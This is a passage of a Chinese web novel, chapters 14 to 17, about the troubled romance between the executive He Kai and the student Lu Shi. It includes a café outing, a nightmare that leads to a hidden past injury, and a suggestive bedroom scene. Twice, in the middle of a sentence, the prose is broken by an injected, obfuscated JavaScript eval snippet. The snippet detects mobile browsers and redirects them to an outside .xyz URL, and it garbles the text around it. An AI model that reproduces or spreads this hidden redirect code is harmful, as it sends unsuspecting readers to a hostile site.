可他显然做得不好,身份角色的转变太过突然,他好像还是更习惯“哥哥”的身份。于是他借由加班来掩盖自己的身体不适,没有让弟弟来操心哥哥的道理。他习惯于做那个照顾弟弟的人。 可是这支药膏却出现了。 往后两年多的时间,每一次执念,每一次抓取,贺开都回想起这一晚,回想起这支药膏。 14.第 14 章 天刚蒙蒙亮,良好的生物钟就让贺开按时醒了过来。 身边的青年还在熟睡之中,长睫覆目,脸庞依偎在被子上,看起来柔软又安静。 上一次浑身温暖地醒来,已经不知是什么时候了。贺开轻轻地挪得更近了些,被子下两人的身体便更紧的挨在一起。他伸手抱住青年的腰身,近距离看着对方熟睡的脸。 看得久了,心里的不安平复了稍许,他极轻地松了口气。 两人在一起两年多的时间,陆什对他只有冷与更冷,从没有热络过。但就算是最冷淡时,也从未说过“分手”这两个字。一夜的噩梦都围绕着这两个字展开,让他在梦里都喘不过气。 直到此时,感受着枕边人的体温,贺开终于觉得自己活过来了。他想起那位瘸了腿染了发的罗同学,心里泛滥的醋意收敛了些许——美术生再年轻又能如何,他才是与陆什盖同一张被子睡觉的人。 他轻手轻脚地起身去卫生间洗漱,回来时陆什依然没有醒,半边脸埋在被子里睡得正香。 恋恋不舍地又看了一会儿,贺开低头亲了亲对方的额头。 睫毛缓慢地动了动,而后掀开,陆什的目光带着几分困意落在他身上,而后又闭上眼,声音里带着晨起的沙哑:“……胃还疼吗?” 没有加疏离的“您”字,这句关心听起来是那样的熨帖又温柔,就像天降大奖,砸得贺开找不着北。要是能每天听见,让他疼一辈子也行。 “好多了。”贺开忍不住又亲了亲他的额头,“宝宝,起来吃早餐。” 陆什闭着眼睛没说话,脸又往被子里埋了埋。 贺开心里软得化成一滩水,轻轻揉了揉他的头发:“起来吃了饭再继续睡,不能不吃早饭,对身体不好。” “这话应该说给您自己听吧。”陆什微叹了口气,坐起身来揉了揉脸。 贺开往他背后竖了个枕头:“那你先坐几分钟醒醒觉,我去倒杯水来。” 他没忍住又凑上去亲了下对方的侧脸,或许是刚醒来反应慢,微闭着眼的陆什只微微偏了偏头,没有完全躲开。 一上午的时间里,贺开推掉了所有工作,一心一意黏着他重归于好的小男朋友。 陆什虽仍是态度冷淡,却不会抗拒他的拥抱和亲吻,还会主动提醒他吃药。 两年多的相处模式有迹可循,呈正弦函数式的波动,贺开早已习惯这样的循环——因矛盾和争吵陷入低谷,陆什对他冷言冷语,甚至说重话,紧接着又会回温一段时间,直到下一次矛盾与争吵。 如今正是低谷后的上升阶段。 午饭后,陆什要去咖啡馆打工,贺开自然要跟着去。昨晚那一通分手太伤他心神,他简直患上了分离焦虑症,一秒都不想分开。 陆什不出所料地拒绝了:“很无聊的,您不要去了,在家休息吧。” “和你一起怎么会无聊。”贺开说,“我不会打扰你的,带我去吧,好不好?” 他笑着又喊:“宝贝。” 陆什没再和他争辩,只拎着外套往庭院走去:“随便您。” 贺开抓紧时间上楼换衣服。自从上次被嫌老后,他就买了许多年轻潮流的衣服,工作之余研究穿搭。他花几分钟挑了套衣服,里面是一件棉麻衬衫,外搭一件浅姜黄色长袖羊绒开衫。他原本就肤色偏白,此时在病中更显苍白,明亮的颜色很好的提升了气色。 他摁着胃揉了揉,里面还在隐隐的疼,吃过药已经缓解很多,今天应该不会给他添乱。 对着镜子抓了抓头发,他思索了两秒该染个什么颜色的头发,又怕陆什等得不耐烦,便随手抓上一件大衣匆匆下楼了。 下午的咖啡馆安静又温馨,室内暖融融,弥漫着浓郁醇厚的豆子香气,闻起来像一块巧克力太妃糖,香甜极了。 贺开坐在吧台前的高脚凳上,与小男朋友只隔着几十厘米宽的吧台,抬头低头间都是对方的身影。他喝着热乎乎的黄油拿铁,回复手机上的工作消息,听着小男朋友用好听的嗓音询问客人的需求,心情很好。 等客人都离开,吧台只剩他们俩,贺开抓住机会问道:“宝宝,你喜欢什么颜色的头发?” 正捡起一颗散落咖啡豆的陆什抬眼看向他,不明所以,却仍是答道:“黑色。” “除了黑色呢?”贺开追问,“我想染头发,你觉得什么颜色好?” 陆什的目光在他头发上扫了一圈,又回到他脸上:“您有白头发了?” “……”贺开顿时感觉被扎了一刀,他捂住心脏虚弱地说,“我没有白头发,真的,一根也没有,宝宝,你相信我。” 陆什收回目光,摆弄着吧台上的器具,不怎么走心地说:“那为什么要染。” 贺开百种思绪无从说起,这时有客人推门进来,他只好愁苦地叹了口气,打开手机上的桌球小游戏——陆什做的小游戏,每一关都比上一关难很多,他这几天断断续续地玩到了五十关。美术系卷毛玩到了七十三关,他一定要更快才行。 游戏界面非常简洁,排版设计却很养眼。每一关的解法都需要探索和变通,极具趣味。贺开很容易就沉浸在其中,一口气玩到了七十多关。 七十三关的难度显著上升,他尝试了好几次也过不去,正在思索之时,身边落下一道阴影,随即一根手指伸了过来。 那根手指修长漂亮,骨节分明,指甲根部有浅浅的月牙。带着清浅咖啡香味的指尖在屏幕上轻轻一点,屏幕里的桌球向前滚动,碰到桌边又向另一个方向弹去,一次,两次,六次,达成了一杆六库解球。 关卡通过了。 站在他身边的陆什收回手,一边穿外套,一边问:“需要我送您回家吗?” 贺开这才发现一下午已经过去,太阳西落,窗外是沉沉暮色。 他收起手机,站起身来,借着穿衣服动作的遮挡飞快地在陆什脸上亲了一口。 陆什微皱起眉,不语地看着他。 “谢谢宝宝。”贺开笑着说,“卡在这关好久了。” 他又拿起精致小盘里的烘焙小饼干,递到陆什嘴边:“累不累?” 陆什略微偏过头避开:“贺先生,我已经吃很饱了。” 贺开尴尬地笑了笑——他怕小男友累着饿着,一下午逮着机会一个劲儿投喂。 “那你咬一小口,一点儿就行。” 陆什沉默了两秒,张嘴咬了一小块。 贺开笑眯眯地吃了剩下的一大块儿,冲他晃了晃手机屏幕上的订票信息:“晚上看电影好不好?是你最喜欢的恐怖片,我们去随便吃点东西,然后去电影院。” 陆什道:“抱歉,我晚上有点事情。” 贺开脑中立刻浮现出那个瘸腿的美术生,却又强压下警惕和酸意,装作大度地问:“是要去哪里吗?我送你去好不好?” “是要回家写代码。” “我陪你。”贺开心里大大地松了口气,语气都轻快几分,“先去吃晚饭——想吃点什么?” 陆什不赞同地看着他:“您应该回家休息。” 贺开叹了口气:“我一秒钟看不见你就抓心挠肝的,那怎么办 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15983090|174262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢?你就让我去吧,我不会打扰你的,就像今天下午一样。” 两人都不太饿,随便喝了点粥便往陆什家里去了。陆什在学校外租了套两室一厅的小房子,周末住在这里,平时要熬夜写代码时也住这里。 典型的理工男房间,除了必需品,一件多余的东西也没有,干净简单得像上世纪三四十年代的地下党住所。 陆什先去洗了澡,换上睡衣。房间里暖气很足,头发只擦到半干也不觉得冷。他拉开椅子在电脑前坐下,对贺开说:“衣柜里有新的浴巾和睡衣。” 贺开并没有立刻去洗澡,而是走到他身后,拿起他肩上搭着的毛巾为他擦头发:“天冷,小心感冒。” 陆什反手握住他的手腕,拽过毛巾:“我自己来就行,您休息吧。” “那你要擦干。” “嗯。” 一切从简的理工男当然不会花时间选睡衣款式,所以等贺开洗完澡出来,身上便穿着和陆什同样款式不同颜色的睡衣。他搬了张凳子坐在陆什身边,捧着热水杯,看着青年修长灵活的手指在键盘上翻飞,几乎出现残影,屏幕上字符滚动迅速。 等陆什休息的间隙,贺开把热水递过去:“宝贝,借一下纸笔。” 陆什拉开书桌抽屉,拿出一本新的信笺纸和一支钢笔递给他。 “谢谢宝贝。” 贺开照例想凑上去偷一个吻,却被陆什用一根手指挡住嘴唇。 “小事而已,您不用谢。” 他说完又开始敲字。 贺开郁闷了几秒,很快调整好了心情,开始写东西。 房间里便只有键盘的敲击声与写字的刷刷声,不知何时下起了雨,于是淅淅沥沥的雨声加入了伴奏。 晚上十点,陆什关上电脑,活动了一下酸痛的手腕。随即手腕被握住,贺开替他按摩,从腕骨到掌心,又到每一根手指,照顾到了每一处指节和指缝,耐心又细致。 陆什放松地倚靠着座椅靠背,直到紧贴的手掌纠缠升温,他曲起指尖挠了挠对方的手心:“好了。” 他又问:“您吃药了么?” “吃过了。” 贺开把信笺纸推到他面前,第一行中间赫然是三个大字——“检讨书”。 陆什挑了下眉,疑惑地看向他。 “宝宝,我向你检讨。”贺开说,“昨晚和上次的事情是我不对,我不应该在你解释了之后还乱吃醋——”他停顿了一下后又道,“我没有不尊重你的意思,我只是没忍住,以后我会克制的。如果再有让你觉得不高兴的事情,你要告诉我,好不好?不能再说分手,我受不住。” 他立刻又补充:“不是谈判,是检讨——你说过不喜欢我用谈判的语气和你说话。” 陆什沉默地听着他的话语,眼眸低垂,看不清情绪。在贺开紧张又期待的目光下,他终于开口:“贺先生,您不需要这样。” 贺开心里一紧,连带着本就不舒服的胃也越发抽痛起来——昨晚到现在他说过三次,请求陆什不再说分手的话,陆什一次也没有答应,每次都是避重就轻地揭过。他何其敏锐,又怎会注意不到? “宝宝……”贺开心里难受得不行,两人之间短短的十几厘米似乎也成了天堑,他凑上去搂住陆什的脖颈索吻,声音贴着唇齿传出来,“以后你要是和我分手,我就会死。” 陆什推开他,冷淡说道:“贺先生,您是成年人,不要说这种幼稚的话。” 贺开再次贴上去亲他,几乎低声下气:“真的会死,不能和我分手,求你了,宝宝。” 15.第 15 章 陆什再次推开他,平静地说:“这个世界上,没有谁离开谁就活不下去,您说这样的话,非常不理智,而且没有意义。” “……就是会死。”贺开低喘了两口气,再次贴近索吻,“不死也会掉半条命。” 陆什皱了皱眉,单手扶住他的腰:“胃又疼?不是吃过药了么?” 贺开握住腰间的手,忍着胃里刀绞般的刺痛,身残志坚地凑上去亲到了对方的下颌,声音因疼痛而颤抖:“你才是我的药。” 陆什面无表情地一挑眉,松开扶在他腰间的手,冷笑:“您一大把年纪了,不要说这么恋爱脑的话。” 身体和心灵遭受双重打击,贺开险些没坐稳。他弯下腰用手肘支撑膝盖缓解着胃痛,心酸地说:“……你又嫌我老。” 他断断续续地又说:“你说其他的,我都改,但是这一点,改不了,下次,不能这样说,我心里难受。” 陆什没再管他,站起身来向外走去。 贺开脸色惨白,条件反射地抓住他的衣服:“去哪里?” 陆什毫不费力的挣开了他的手,离开卧室。 听着脚步声的远离,贺开苦笑了一下。他不该提出那么多的要求,这段关系本就是他强求而来的,是他过界了。他们的关系在昨晚跌入低谷,本该在接下来的一周回温,重拾甜蜜,一切都被他搞砸了。 正在他胡思乱想时,一道冷淡的声音响在耳边:“喝水。” 陆什不知何时去而复返,端着一杯冒着热气的水,递到他面前。 绝处逢生的感觉几乎让贺开眼前一黑,他抬起冷汗涔涔的脸,强颜欢笑:“你亲我一下,我就好了。” 陆什不为所动地看着他。 贺开只好接过杯子,艰难地喝了小半杯水。胃痛在热水的作用下稍有缓解,他终于能稍稍直起腰,拉住陆什的袖子,软弱地哀求:“宝宝,你亲我一下。” “……就一下。” 陆什看着他,半晌后近乎无声地叹了口气,俯下身去,一个蜻蜓点水般的吻落在他汗湿的额头上。 贺开感受着额头上羽毛轻抚般的温柔触感,心里突然很酸的疼了一下。他没再一次次重复不能分手的话语,他知道那样会让对方厌烦。“……如果,你以后要和我分手,要告诉我明确的原因,给我接受的时间,等我——”他顿了一下,艰难地说,“……等我同意,不能一声不吭消失,好吗?” 许久,陆什道:“好。” 他又说:“早点休息吧。” 这个话题结束,贺开总算松了口气。见他又有离开的架势,连忙拉住他的手:“你要出去玩吗?” 陆什用看神经病的眼神看他:“外面在下雨,而且已经十点半了。” “那句话怎么说的来着——夜生活才刚刚开始。”刚才的气氛太过凝重,贺开有意说俏皮话来缓解,“大学生不都是夜夜笙歌嘛,时不时就社团聚个餐什么的,玩得很嗨,一不小心就通宵了。” 陆什说:“超过十一点睡觉就算是熬夜了,晚上十一点到凌晨三点这四个小时是睡眠的黄金时间,事半功倍。子时胆经当令,丑时肝经当令,就算睡不着,也要在十一点前躺下,卧则血归肝,对身体好。” 他很少说这么一大段话,耐心又认真。贺开知道他辅修了中医的课程,平日里很是用功。此时听着他娓娓道来,竟恍然想起多年以前,念初一的小男孩兴冲冲地告诉他:“哥,物理老师上周教了我们测小灯泡的电功率,特别好玩,我弄给你看!”小男孩熟练地摆弄起实验用的电线与小灯泡,在小灯泡亮起时冲他露出“求表扬”的灿烂笑容,眼睛亮得像黑夜里的星星。 那时候的小陆什总爱喋喋不休地对他讲学到的新知识,把他当做最亲近的人,与他分享一切。 好多年过去了,好多事都变了。 “……抱歉。”似乎是意识到自己说得有点多,陆什停顿了一下,“睡觉吧。” 贺开拉住他的手:“为什么抱歉?胆经当令是什么意思?再多讲点好不好?” 陆什却不愿再多说:“瞎说一通而已。卫生间的柜子里有新的牙刷和漱口杯。您要是没什么事的话,早点洗完休息吧。” “一起洗嘛。”贺开从背后抱住他,下巴搁在他肩窝里蹭了蹭,“我帮你挤牙膏。” 十点四十五分,两人洗漱完躺在床上。贺开说着话,陆什只懒散地用嗯声回应,后来听不见回应了,他转头一看,陆什已经呼吸微沉地睡了过去。 贺开轻柔地帮他盖了盖被子,被子拉到脖颈,陆什下意识用下颌蹭了蹭被角。 时间太早,贺开没有睡意,他拉过陆什的手臂搂在自己腰间,拿起枕边的手机回复工作消息。 凌晨一点,窗外暴雨如注,声如击鼓。 身边的人突然剧烈颤抖了一下,浑身变得僵硬。贺开拧开床头的小台灯,便看见睡梦中的陆什不安地辗转,眉心紧锁,像在忍受痛苦。 “小陆,小陆。”贺开一边唤他,一边用指尖轻轻揉他的侧脸,“醒醒。” 陆什慢慢地睁开眼,茫然地望着他的方向。 贺开摸了摸他的额头,摸到了满手冷汗,拿过纸巾为他擦着:“做噩梦了吗?” 陆什缓慢地眨了下眼睛,视线有了焦距,轻轻落在他的身上。 那一瞬间,贺开在他眼里看到了劫后余生的释然,就像在冰天雪地里等到了一捧柴火,又像在倒塌的房屋废墟下等到了救援。那眼神几乎是热切的。贺开想用一个亲吻安抚他,可还没靠近,陆什眼里的温度就已经冷了下去,偏头避开了他的吻。 “我没事。”陆什闭了闭眼,声音沙哑,“抱歉,吵醒您了。” “小崽,你梦到什么了?”贺开忧虑地问,“经常这样吗?” “没什么。” 陆什闭上眼睛,眉心微蹙,呼吸有些沉重。 贺开眼尖地发现他头发里又渗出了一层冷汗。 “是哪里难受吗?”贺开皱眉,摸了摸他的额头,触感无比冰冷,又握住他的手,也是同样的冷。 “只是个噩梦而已,已经没事了。”陆什挣开他的手,攥着被子翻了个身,“您早点睡觉吧。” 他翻身的动作有些慢,那一刹那,贺开敏锐地捕捉到了他眼里的一抹痛色。 “是肩膀疼?” 贺开伸手探入他的睡衣,腰背是温热的,再往上,右侧肩膀处却是刺骨的凉,不同于普通的受凉,更像是骨头缝里透出的寒意。 陆什攥住他的手腕,眼中的痛色变得明显了。 “这里疼吗?是怎么回事?宝宝,你跟我说。” 陆什叹了口气,只道:“高中打球摔了一下,遇到湿冷天气会有点疼,没有大碍。您不用管。” 贺开试图用掌心温暖那处肩胛骨,却是杯水车薪,他掀开被子要下床:“我去打水来热敷。” “您不用管我。”陆什重复了一遍这句话,拉住他,“没事的。” “我为什么不管你?”贺开皱眉说道,帮他盖了盖被子,“躺好,别着凉。” 贺开很快打来热水,浸了毛巾又拧干,热敷他的肩胛骨。反复几次后,陆什的脸色稍有好转。 一旁的热水袋也充满了电,贺开拿过来垫在他右肩下面,又调整了角度,让他能躺得舒服。正想端着凉掉的水去倒掉,陆什把他拉上床:“我没事了,您休息吧。” “我去把盆里的水倒掉。” “明天我来吧。”陆什说,“您这样容易着凉,胃要不舒服的。” 窗外的雨还在淅淅沥沥的下着,贺开关上台灯,钻入被子里搂住青年的腰身:“那睡吧,以后有事就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16003847|174262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟我说。” 陆什很快又睡了过去,呼吸绵长,贺开却久久不能入睡。 打球摔的么?打球真的能摔得这么重,以至于几年后还会复发吗? 他清楚的知道陆什高中时发生的每一件大事,每次月考的成绩,每次国旗下讲话,每次红榜的照片长什么模样。每月一次的家长会,叶秘书会事无巨细地转达他。他知道陆什的一切,以月为单位。 可叶秘书从未提到过打球摔伤的事情,叶秘书工作细致,从未犯过错,也从未漏掉过任何事情。 打球摔伤,这是陆什自己告诉他的,在某次床笫间的亲密过后,他摸到了那块微微凸起的伤疤。 这件事不在每月之间,那么只能是发生在寒假或者暑假。 暑假。 贺开莫名的想起了一通未接来电——那时他在国外参加一场酒会,手机开了静音。陆什已经很少会主动打电话给他,所以他印象深刻。他错过了那通电话,事后拨回去,却也无法接通。再后来,叶秘书转告他,小陆要去参加为期一个月的封闭式夏令营。他想着要回个电话,却又怕夏令营已经开始,最终还是没有打。 那通电话…… 贺开悄悄地起身,披了件外套,推开阳台的门。 他望着面前灰蒙蒙的雨幕,拨通了叶秘书的电话:“你帮我查一下四年前的暑假,小陆的手机通讯记录。” 他顿了一下,又道:“重点是来电归属地的ip地址。” 叶秘书工作效率很高,很快,一份通讯记录发了过来。 贺开一条一条看过去,在拨打他的电话之前,陆什拨的是110和120,通讯的ip地址是一个叫里巴村的地方。后来ip地址变成了土石县,是里巴村的上级行政单位。一直到暑假结束,通讯归属都在这个地方。 夏令营当然不会在这种一听名字就很闭塞的乡下开展。 不用贺开提醒,工作效率很高的叶秘书已经又发来了几份文件。一份当时的新闻报告——“里巴村危房倒塌,被困高中生已获救。”一份土石县医院的手术和治疗报告,一份当地公安局的出警记录。 看完所有文件,贺开望着滴水的回廊,点了根烟。他想起陆什刚醒来时那个眼神,带着希望又迅速冷下去的眼神,又想起陆什说了两遍的那句话。 ——“您不用管我。” 小时候的陆什也说过这句话——“您不用管我!”,赌气的,难过的。可刚才呢?好像是释然的,平静的。 叶秘书问:“贺总,还需要其他资料吗?” 贺开说:“不用了,明天帮我预约最好的骨科医生。” 挂断电话后,贺开又点了根烟,看着雨幕。陆什说得对,他确实恋爱脑,一点点的刺激就能让他难受得天翻地覆,口不择言,完全没办法思考。可是当面对其他事情时,他何其敏锐。 此时站在刮着冷风的阳台上,他终于能稍微冷静地思考与陆什有关的事情——过去他不敢想,一想就抓心挠肝地难受,那些冷漠与疏离全是扎向他的尖刀,刺得他遍体鳞伤。 他知道陆什从初中起就讨厌他,用尽一切手段逃离他,因为他是贺明光的儿子。后来他提出交往,陆什就更讨厌他了。这两年多的相处中,一些矛盾慢慢消弭,可这一点永远不能改变——他和那个人渣的父子关系。所以陆什对他的讨厌也永远不能改变,一切的冷漠、疏离与厌恶都来自这里。 可是现在他发现,好像并不完全是这样。 陆什好像对他有过期待,至少在拨打那一通电话时有过。 他深深一吸,火光便燃至末端。他又想起刚才陆什醒来时那个眼神——有很多话想说,却又因时过境迁,一切话都没有了意义,所以无话可说的眼神。 就像此时此刻的暖阳,融化不了彼时彼刻的冰雪。 16.第 16 章 贺开几乎一夜没睡,他站在飘风的阳台上,把那份新闻报道看了一遍又一遍。 老屋倾塌,被埋在废墟下十二个小时,那年陆什才刚满十六岁,给他打电话时在想什么呢?而他没有接到。 几年之后还会因阴雨天而疼痛的伤口,在当时又会有多痛?偏僻的小县城医院,落后的医疗水平,这种情况下进行的手术,也不知还有没有其他后遗症。 贺开望着阴沉沉的雨幕,一根又一根的抽着烟,直到烟盒变空。 所有的一切,陆什都没有和他讲过,即使是在床上最亲密之时。从陆什高中毕业那个暑假起,他就拼尽全力想成为陆什最亲近的人,可越努力,对方似乎就离他越远。 他感到深深的无力,浓浓的挫败。 他有些不知道该怎么做了。 天快亮了,他才回到床上,抱着青年的手臂睡了过去。刚合眼没多久,身边就传来刻意放轻的穿衣声。 贺开循着温度凑上去,闭着眼睛环抱住青年的腰身,困顿地问:“……几点了?” “七点半。” “唔……那你一个小时后喊我。”贺开困得睁不开眼,埋在对方好闻的衣服上深深吸了一口气,“我们去医院,看看你肩膀上的伤。” 陆什穿衣的动作顿了一下,又恢复正常:“我说过没有大碍,您不用介怀。” “已经和医生约好了。”贺开更紧地抱住他的腰,“身体的事不能马虎。” 陆什只是道:“贺先生,我有分寸。” 贺开心酸地想,陆什终究不是多年以前那个膝盖摔破了皮儿都要对他撒娇喊疼的小男孩了,他好像把当年的小男孩弄丢了。 “宝宝……”他亲吻着对方的后颈,低声道,“我不放心,去看看,好不好?我陪你去,没事的。” 陆什沉默了一会儿,拿开了环在腰间的手臂:“您先休息。” 贺开松了一口气,眼前一黑,倒头就睡。但心里有事,睡得并不好,没等陆什叫他就又醒来,着急忙慌地带着人去了医院。 坐在医生窗明几净的办公室里,陈述病情之前,陆什却迟疑地望向他。 贺开心里跟明镜似的,陆什不愿让他知道真相。那些真相可以对医生说,对任何人说,却唯独不能对他说。 他站起身来,强颜欢笑:“我去外面等你。” 坐在冰凉的长椅上,贺开很快安慰好了自己——至少他现在比过去更了解陆什,哪怕只是一点点。关于那些过去,他似乎触到了真相的一角。他还有机会去探索,去弥补。 一上午的检查和问诊后,医生说:“伤口当初的缝合不太专业,恢复得也不好,导致骨头没有完全长好,所以遇到阴冷天气就会疼。以后每半个月来复健一次,我再开些止疼和消炎药,半年应该就能恢复好。放心,没有大碍。” 贺开的心总算掉回肚子里去,离开医院时,路过一棵枝繁叶茂的大树,他忍不住拉着人躲到树后要索吻,却被陆什用一根手指挡住。 “您抽烟了。”陆什背靠在树干上说。 贺开郁闷地瞪大眼——不是,这是怎么知道的?!昨晚他抽了烟后心虚,上床前特意刷了两遍牙,还含了整整一分钟的强效漱口水。今早起来又仔仔细细刷了两遍牙齿,刚才又嚼了颗薄荷糖…… 似乎是知道他在想什么,陆什漫不经心地说:“垃圾桶里有空烟盒。” 贺开:“……” 该死。 他试图狡辩:“那是之前就抽完的烟盒,昨晚才想起来丢。” 陆什似乎是轻笑了一下,推开他向前走去。 临近期末,陆什非常忙碌。接下来的两周里,两人几乎没有时间见面。贺开的每次见面请求都被对方以歉意的“暂时没有时间”给推却了。 又一个周五晚上,贺开想得抓心挠肝,开车来到了学校门口,拨去了电话。 兜里的手机震动起来时,社团的分工会议刚好结束。陆什看了眼来电显示,来到窗边接起了电话。 “贺先生。” “宝贝,你今天在宿舍睡,还是回家?” 陆什沉默了一下,他用指尖划过凝了一层薄雾的窗户,窗外的景色便渐渐清晰。之前和学长学姐们一起参加的家具机器人创新项目拿了国家级一等奖,奖金在昨天打到了卡上,很丰厚的一笔钱。一同到账的还有两笔游戏程序设计项目的尾款,也是很多的一笔钱。记账APP里的数字已经从负变正,盈余的数额甚至可以支付一套房的首付。也是在昨天,系里出国交换一年的名额公布在了官网,导师签过字的文件正躺在他宿舍书桌的抽屉里。 “……回家吧。” “那我在你学校门口等你。”贺开声音明显带笑,“已经十点了,你之前不是说,十一点前就算不睡也要躺下,卧则血归肝——是不是?” 陆什笑了一下,拿起沙发上的外套向门外走去:“嗯。” 一辆车停在校门口的梧桐树下。 刚从重要会议上赶来,没来得及换衣服,贺开仍穿着开会时的衣服。外罩一件及膝大衣,里面是一套剪裁得体的纯黑色西装,勾勒出腰线,往下是包裹在西装裤里笔直修长的腿,脚上的薄底皮鞋锃亮得反光。 他靠在车门上,像花孔雀似的,远远地就冲来人招手。 陆什走过去,停在两步之外。 “宝宝,亲一个。”贺开笑眯眯地凑近,“我拍给你看了,这周都没抽烟。” 陆什任由他靠近,不主动也不拒绝,接纳了这个吻。 “您不冷吗?” “看到你就暖和了。” 两人上了车,贺开的手机却响了起来,秘书打来请示一个比较复杂的工作问题。等他讲完电话,转头去看,副驾的陆什已经靠着座椅睡了过去。 陆什是被唇上的柔软触感唤醒的,他不知道自己睡了多久,只觉得醒来时不知今夕何夕。他并未睁眼也并未避开,只是微微仰起头,嘴唇微张。 这一点微小的回应立刻通过唇舌反馈给了贺开,他吻得更加深入,直到两人的喘息交织在一起,在狭小的车内连成一片。 分开时,两人都有些喘不过气。 “是期末很累吗?” 陆什背靠着座椅,睁眼看他,声音懒散又疲惫:“嗯。” “饿不饿,去吃点夜宵?” “这个时间点不适合吃东西。” 贺开已经听过很多遍这样的话,都是陆什拒绝与他吃饭时所说,他正 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“固定衬衫用的。”贺开说,“还有一种是腰带式的松紧式绑带,我不爱用那种,总感觉勒着腰。”呼吸还没有完全平复,他喘息着凑到小男朋友耳边,“宝宝,回家给你看。” “看什么?” “衬衫夹。” 陆什哦了一声,又道:“您还没吃晚饭么?我陪您去吃点吧。” “你不是说,这个时间不适合吃东西嘛。” “刚才睡过了,今天可以晚一点睡。”陆什道,“您别饿着。” 贺开简直要被他的体贴弄得晕头转向,忍不住又问了一遍:“宝宝,今天怎么心情这么好?” 陆什没回答,只是摇下车窗看向路边的餐厅:“您想吃什么?” 贺开甜蜜得心里开花,哪里还能思考吃什么,只想让小男友在车里就看衬衫夹:“你选。” 随便吃了点东西,回到家后,陆什先去洗了澡,紧接着贺开去洗。等他洗完澡出来,陆什正靠在床头看书。 贺开并没有换上睡衣,而是穿上了一件白色衬衫,没擦得太干,头发和身上都带着湿漉漉的水汽。他把床头的台灯拧到最暗,钻入被窝,紧贴着小男友:“在看什么?” 陆什放下手里的书:“随便翻翻。” “宝宝,看不看衬衫夹?” 陆什的目光落在他空荡荡的手上:“在哪里?” 贺开在被子下动了动,爬到小男友身上,被窝里的腿蹭了蹭对方:“这里。” 陆什背靠着床头坐着,声音平淡中带着一点不明所以:“哪里?” 贺开又蹭了蹭他:“这里。” 鳄鱼皮制的衬衫夹,表面有着轻微的粗粝,金属的带扣贴在赤祼的皮肤上,带来微凉。 陆什终于感觉到被窝里那一点不同寻常的触感,他神情不变,语气里却有一丝些微的疑惑:“您为什么不拿出来看?” 贺开:“……” 他深吸了一口气,又蹭了蹭:“宝贝,想要。” 后知后觉的,陆什终于明白过来车上那句“回家给你看”是什么意思,也明白了对方语气里明显得不能再明显的暗示。 17.第 17 章 被子下面的腿紧挨在一起,陆什这才感觉到,对方身上除了那件宽松又湿漉的衬衣外便只有衬衫夹了,除此之外,连一丝布料都没有。 他问:“您身体好了吗?” “很好……特别好……”贺开简直不知道要怎么暗示才好,“就是,很想你。” 一边说着,他忍不住凑上去索要亲吻。 陆什合上书放到床头柜上,轻轻推开了身上的人,又从被窝里收回了交叠的腿,在床头端正地盘腿而坐——那姿势几乎称得上“正襟危坐”。他带着几分求知般的好奇说道:“您不是要给我看么。” 末了又添了句:“衬衫夹。” 语气颇像是“你不是说要给我看上周新买的球鞋么?” 贺开:“……” 他不明白,好端端的春宵一夜,走向怎么突然变了。 对上小男友澄澈的视线,他索性豁出去了,掀开被子下床,赤足站在了床边。屋里只剩床头一盏昏暗夜灯,光线不足,可仍然能看出他下/半身什么也没穿。 贺开忍着脸上滚烫的灼烧感,装作一本正经地介绍:“喏,这个就是衬衫夹,夹子夹在衬衫下摆,另一端绑在大腿上,衬衫就不会滑跑……缺点就是坐着的时候要坐得很直,不能大幅度弯腰,不然会抻着。” 坐在床上的陆什听得很认真,末了点头:“原来如此。” 贺开巴巴地站着,等待着他的下文,却发现小男友只是换了个姿势坐着,一副洗耳恭听的模样,似乎是在等他继续讲解。 贺开:“……” 他还有什么可讲的?! 几秒过后,陆什略微偏了下头,半边脸便隐在阴影中,灯光昏暗,看不分明他是不是笑了一下。 贺开感觉自己一张老脸彻底挂不住了,索性彻底豁了出去,回到床上半是哀求半是抱怨:“宝贝,你别折腾我……” 陆什说:“这样看不清楚。” 贺开感觉自己说不出话来了,无比想回到车上,收回那句看衬衫夹的话。 却感觉后腰被轻轻推了一下,陆什的声音响起:“来这里。” 贺开看着他走向窗边的身影,愣了一下,连忙跟了上去。 今天是腊月十六,难得没有下雨的好天气,天高地阔,明月高悬。玉盘似的满月洒着清辉,将窗边照得明亮如昼。 这里确实看得无比清楚。两只鳄鱼皮制的衬衫夹,上面有着细细的、凹凸不平的斑点般的纹路,清冷的月光让金属带扣反射出微微的冷光。月光如此无私,连金属扣上的雕花纹路都渲染得清晰无比。 陆什说:“嗯,看清了。” 贺开刚想说什么,后腰又被推了一下,他整个人站在了布满白雾的窗户前,鼻尖距离玻璃只有短短几厘米。身后是青年温热的身体,熟悉的沐浴露香味弥漫在两人之间。青年的声音清清淙淙,像是质感很好的温润玉石,紧贴着他的耳朵响起:“那您取下来吧。” 低低沉沉的声音透过耳骨传声,炸得贺开半边身子都酥麻了,那半边脸立竿见影地烫了起来。 他一言不发的弯腰去解腿上的绑带,身体一晃差点没站稳,一只手臂从后面伸来揽在他腰间,成为了他的支点。 解完一边,他又去解另一边。两条衬衫夹落在地上,金属扣与木地板碰撞,发出咔哒的轻响。 陆什没有说话。 贺开晕头转向,若不是腰间的手臂支撑着他,他恐怕会直接滑倒。脑子晕晕的不清晰,他又开始解身上衬衫的扣子,从上往下解 